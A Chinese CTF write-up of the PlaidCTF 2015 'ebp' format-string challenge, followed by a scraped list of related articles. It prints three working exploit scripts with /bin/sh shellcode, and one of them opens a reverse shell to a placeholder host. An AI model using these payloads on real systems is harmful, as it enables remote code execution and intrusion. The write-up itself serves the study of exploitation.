很容易看出是格式化字符串漏洞。这里的格式化字符串漏洞不像传统的那样,格式化字符串是放在bss段中,并没放在栈上,因此利用起来有些困难。

  不过,我们可以利用ebp,可以修改函数的ebp,从而能控制函数的流程。

  第一步,修改了main's ebp(也就是修改了echo_ebp's ebp指向的内容)为make_response's ebp,为下一步修改echo's ebp做准备。

  第二步,修改echo's ebp(也就是修改了make_response's ebp指向的内容)为栈中某个地址(记为0x********),使得0x********+4(也就是echo's 返回地址)指向shellcode所在的缓冲区。经过观察,栈中确实存在这样的位置。

  这样,echo在返回的时候将执行shellcode。

  比赛时自己的poc如下:

  1. from socket import *
  2. import time
  3. shellcode="\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x59\x50\x5a\xb0\x0b\xcd\x80\n"
  4. sock = socket(AF_INET, SOCK_STREAM)
  5. #sock.connect(("192.168.200.7", 10001)) #local debug
  6. sock.connect(("52.6.64.173", 4545))#remote
  7. time.sleep(1)
  8. infoleak="%x%x%x%x\n"
  9. sock.send(infoleak)
  10. time.sleep(1)
  11. leak=sock.recv(1024)
  12. print leak
  13. echo_ebp=leak[-6:-2]
  14. print echo_ebp
  15. echo_ebp=int(echo_ebp,16)
  16. make_ebp=echo_ebp-32
  17. main_ebp=echo_ebp+32
  18. print hex(make_ebp)
  19.  
  20. format1="%%%dc" % make_ebp + "%4$hn\n"
  21. sock.send(format1)
  22. print sock.recv(1024)
  23.  
  24. format2="\x90\x90\xeb\x0f" + "%%%dc" % (echo_ebp+4-4) + "%12$hn" + "\x90"*10 + shellcode + "\n"
  25. sock.send(format2)
  26. print sock.recv(1024)
  27.  
  28. while 1:
  29. sock.send(raw_input('$ ')+'\n')
  30. time.sleep(1)
  31. print sock.recv(1024)
  32. sock.close()

  结果:

  此外,赛后我也看了别人的writeup。第一篇见:http://geeksspeak.github.io/blog/2015/04/20/plaidctf-ctf-2015-ebp-writeup/ 分析得很清楚,原作者的Poc如下,我也从他的poc中学到了不少东西。这个poc比我自己写得要好不少,思路更清晰。

  1. import socket
  2. import struct
  3. import telnetlib
  4.  
  5. response = 0x0804a480
  6.  
  7. offset = 4 # saved frame pointer offset
  8.  
  9. shellcode = ( # /bin/sh shellcode at http://shell-storm.org/shellcode/files/shellcode-236.php
  10. "\x6a\x0b\x58\x99\x52\x68\x2f\x2f"
  11. "\x73\x68\x68\x2f\x62\x69\x6e\x54"
  12. "\x5b\x52\x53\x54\x59\x0f\x34"
  13. )
  14.  
  15. s = socket.create_connection(("52.6.64.173", 4545 ))
  16. #s = socket.create_connection(("127.0.0.1", 8080 ))
  17. s.send("%4$p\n")
  18. addr = int(s.recv(1024), 16)
  19. print "[+] Leaked Address: ", hex(addr)
  20. addr1 = (addr - 0x1c) & 0xffff
  21. print "[+] 2Byte Significant Byte to write : ", hex(addr1)
  22.  
  23. s.send("%"+str(addr1)+"x%"+str(offset)+"$hn\n")
  24. s.recv(4096)
  25.  
  26. s.send(shellcode+"%"+str((response & 0xffff)-len(shellcode))+"x%"+str(12)+"$hn\n")
  27. print "[+] Here you go"
  28. t = telnetlib.Telnet()
  29. t.sock = s
  30. t.interact()

  还有另外一个版本,来自:https://ctf-team.vulnhub.com/plaidctf-2015-ebp/ 这个版本中利用了pwntools的反向shell,思路很清楚(比赛时我起初也是这样的思路,但是没有想到也不会使用反向shell),但是执行时间较长。学习了不少东西。代码如下:

  1. #!/usr/bin/env python
  2. from pwn import *
  3.  
  4. r = remote("52.6.64.173", 4545)
  5.  
  6. buf_addr = p32(0x0804a080)
  7. sc_addr = p32(0x0804A09b)
  8.  
  9. payload = ""
  10. payload += "%134520975u%4$n"
  11. payload += buf_addr
  12. payload += sc_addr
  13. payload += "AAAA"
  14.  
  15. payload += asm(shellcraft.linux.connect("x.x.x.x", 9898))
  16. payload += asm(shellcraft.linux.dupsh())
  17.  
  18. print "+ sending payload"
  19. r.send(payload + "\n")
  20. print "+ got back:", r.recv()

plaidctf2015 ebp的更多相关文章

  1. esp和ebp详解

    最近在研究栈帧的结构,但总是有点乱,所以写了一个小程序来看看esp和ebp在栈帧中的作用.这个程序如下: 这个程序很简单,就是求两个数的值,然后输出即可.所以首先把它用gcc编译链接成a.out,进入 ...

  2. 栈帧%ebp,%esp详解

    首先应该明白,栈是从高地址向低地址延伸的.每个函数的每次调用,都有它自己独立的一个栈帧,这个栈帧中维持着所需要的各种信息.寄存器ebp指向当前的栈帧的底部(高地址),寄存器esp指向当前的栈帧的顶部( ...

  3. EBP的妙用[无法使用ESP定律时]

    1.了解EBP寄存器 在寄存器里面有很多寄存器虽然他们的功能和使用没有任何的区别,但是在长期的编程和使用 中,在程序员习惯中已经默认的给每个寄存器赋上了特殊的含义,比如:EAX一般用来做返回值,ECX ...

  4. 基于EBP的栈帧

    程序的OEP,一开始以 push ebp 和mov ebp esp这两句开始.   原因:c程序的开始是以一个主函数main()为开始的,而函数在访问的过程中最重要的事情就是要确保堆栈的平衡,而在wi ...

  5. EBP与ESP寄存器的使用

    push ebp mov esp,ebp esp是堆栈指针 ebp是基址指针 这两条指令的意思是将栈顶指向ebp的地址 ---------------------------------------- ...

  6. C++代码反汇编后的堆栈寄存器EBP和ESP

    最近在分析一个进程崩溃的严重问题,其中有些过程分析需要对ebp, esp 有清晰的理解,对于ebp 和esp 相信大家都很熟悉了,但是为了使本文自成体系,我还是解释一下. ebp--栈底指针 esp- ...

  7. 堆栈中的EIP EBP ESP

    EIP,EBP,ESP都是系统的寄存器,里面存的都是些地址.  为什么要说这三个指针,是因为我们系统中栈的实现上离不开他们三个.  我们DC上讲过栈的数据结构,主要有以下特点:  后进先处.(这个强调 ...

  8. GCC优化选项-fomit-frame-pointer对于esp和ebp优化的作用

    我的博客:www.while0.com -fomit-frame-pointer选项是发布产品时经常会用到的优化选项,它可以优化汇编函数中用edp协助获取堆栈中函数参数的部分,不使用edp,而是通过计 ...

  9. 汇编之EBP的认识。

    说到EBP就不能忽略了ESP.ESP是一个指针,始终执行堆栈的栈顶.而EBP就是那个所谓的堆栈了. 先看几个例子吧. push ebp ; 把ebp,堆栈的0地址压入堆栈 mov ebp,esp ; ...

随机推荐

  1. Unity Easy Save简单实用

    Easy Save使用: 1.保存游戏进度        2.设计游戏关卡(怪物数量,坐标,背景图等等) Easy Save默认存储地址: C:\Users\Administrator\AppData ...

  2. iOS SDK原生JSON解析

    - (IBAction)touchReadButton:(id)sender { NSData *jsonData = [[NSData alloc] initWithContentsOfFile:J ...

  3. Beauty of Array(思维)

    Beauty of Array Time Limit: 2 Seconds      Memory Limit: 65536 KB Edward has an array A with N integ ...

  4. Ice_cream's world I

    Ice_cream's world I Time Limit : 3000/1000ms (Java/Other)   Memory Limit : 32768/32768K (Java/Other) ...

  5. 俄罗斯方块:win32api开发

    本文简述一门课程,演示win32api开发俄罗斯方块的开发过程.如果学生学习过C语言,没学过或者学习C++不好,刚刚開始学习win32api程序设计,还不懂消息循环和注冊窗体类.   近期的照片在这里 ...

  6. 实现怎样支持Android重力感应器Sensor编程

    添加当重力变化时的处理函数 在创建监听器时调用的函数 doSomething(x, y, z) 是自己定义的方法. 当手机倾斜方向改变时,监听器会调用该方法. 我们要做的,就是填充该方法,用于在重力发 ...

  7. H5 视频直播相关技术

    一.移动视频直播发展 大家首先来看下面这张图: 可以看到,直播从 PC 到一直发展到移动端,越来越多的直播类 App 上线,同时移动直播进入了前所未有的爆发阶段,但是对于大多数移动直播来说,还是要以 ...

  8. jquery中push()的用法(数组添加元素)

    push定义和用法 push() 方法可向数组的末尾添加一个或多个元素,并返回新的长度. 语法 arrayObject.push(newelement1,newelement2,....,newele ...

  9. PHP学习笔记十二【数组排序】

    <?php $arr=array(0,5,-1); $temp=0; for($i=0;$i<count($arr)-1;$i++) { for($j=0;$j<count($arr ...

  10. Lua编程入门-学习笔记1

    第1章:起点 Chunks: 语句块 每个语句结尾的分号是可选的,如果同一行有多个语句最好使用分号分隔: dofile("lib1.lua")  -- 执行lua文件 全局变量:局 ...